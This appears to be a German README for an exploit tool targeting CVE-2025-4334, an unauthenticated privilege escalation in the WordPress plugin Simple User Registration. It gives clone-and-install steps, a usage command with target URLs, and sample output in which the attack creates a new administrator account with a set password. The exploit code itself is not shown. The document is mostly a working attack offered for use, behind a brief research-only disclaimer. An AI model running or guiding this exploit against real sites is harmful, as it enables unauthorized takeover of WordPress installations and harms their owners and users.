CVE-2025-4334 - Simple User Registration <= 6.3 Nicht authentifizierte Privilegieneskalation

Exploit-Titel: Simple User Registration <= 6.3 – Nicht authentifizierte Privilegieneskalation
Autor: Gaurav Bhattacharjee (0xgh057r3c0n)
CVE-ID: CVE-2025-4334

Dieser Exploit zielt auf eine Schwachstelle im Simple User Registration Plugin für WordPress (<= v6.3) ab, die es nicht authentifizierten Angreifern ermöglicht, Privilegien zu erweitern und ein neues Administratorkonto zu erstellen.

⚙️ Installation

Klone das Repository und installiere die erforderlichen Python-Abhängigkeiten:

git clone https://github.com/0xgh057r3c0n/CVE-2025-4334.git
cd CVE-2025-4334
pip3 install -r requirements.txt

Abhängigkeiten:

• requests
• colorama

🚀 Verwendung

python3 CVE-2025-4334.py -u <base_url> --form <form_url>

Argumente:

• -u / --url → Basis-WordPress-URL (z.B. https://target.com/wordpress/)
• --form → Vollständige URL des Registrierungsformulars (z.B. https://target.com/wpr/default-registration/)

Beispiel:

python3 CVE-2025-4334.py -u https://example.com/wordpress --form https://example.com/wpr/default-registration/

📜 Beispielausgabe

[*] Fetching form details...
[i] Extracted Nonce   : 1a2b3c4d5e
[i] Extracted Form ID : 12
[i] Referer Path      : /wpr/default-registration/
[*] Sending exploit payload...
[i] HTTP Response Code : 200
[i] Server Response    : {"success":true,"user_id":2}

[+] Exploitation Successful
[+] Username   : 0xgh057r3c0nadmin
[+] First Name : 0xgh057r3c0nadmin
[+] Last Name  : 0xgh057r3c0nadmin
[+] Email      : [email protected]
[+] Password   : Wiz007@8876@
[+] Role       : administrator

Exploit By : Gaurav Bhattacharjee (0xgh057r3c0n)

⚠️ Haftungsausschluss

Dieses Tool wird ausschließlich zu Bildungs- und Forschungszwecken bereitgestellt. Die unbefugte Nutzung gegen Systeme ohne Erlaubnis ist illegal. Der Autor übernimmt keine Haftung für Missbrauch.

📄 Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert.